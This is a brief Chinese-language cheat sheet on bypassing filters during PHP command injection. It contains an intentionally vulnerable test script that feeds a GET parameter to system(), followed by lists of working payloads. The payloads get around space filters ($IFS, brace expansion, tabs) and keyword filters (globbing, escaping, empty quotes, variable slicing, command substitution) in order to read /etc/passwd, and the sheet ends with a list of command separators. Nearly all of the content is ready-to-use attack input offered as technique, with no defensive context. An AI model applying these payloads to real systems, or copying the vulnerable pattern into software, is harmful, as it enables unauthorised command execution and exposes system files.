PHP挖到命令注入的时候经常会发现有过滤的情况,下面总结师傅们的一些经验。

测试代码:

<?php   system($_GET[‘a’]);?>

0x01 空格


1. 使用$IFS

http://192.168.192.120/command.php?a=cat$IFS/etc/issue

2. {ls,-l,/}

http://192.168.192.120/command.php?a={cat,/etc/passwd}

3. 使用Tab

http://192.168.192.120/command.php?a=cat%09/etc/passwd

0x02 关键字


;a=/etc;b=/passwd;cat $a$b;
;cat$IFS/et?/pas??d;
;c\a\t /e\t\c/p\a\s\s\wd;
;ca${xx}t /et${xx}c/pas${xx}swd;
;${SHELLOPTS:3:1}at /et${SHELLOPTS:3:1}/passwd;
;c(echo a)t /et$(echo c)/pas$(echo s)wd;
;c`echo a`t /et`echo c`/pas`echo s`wd;
;ca''t /et''c/pass''wd;
;ca""t /et""c/pass""wd;
;ca``t /et``c/pass``wd;

0x03连接符


&&、||、%0a、;、&、|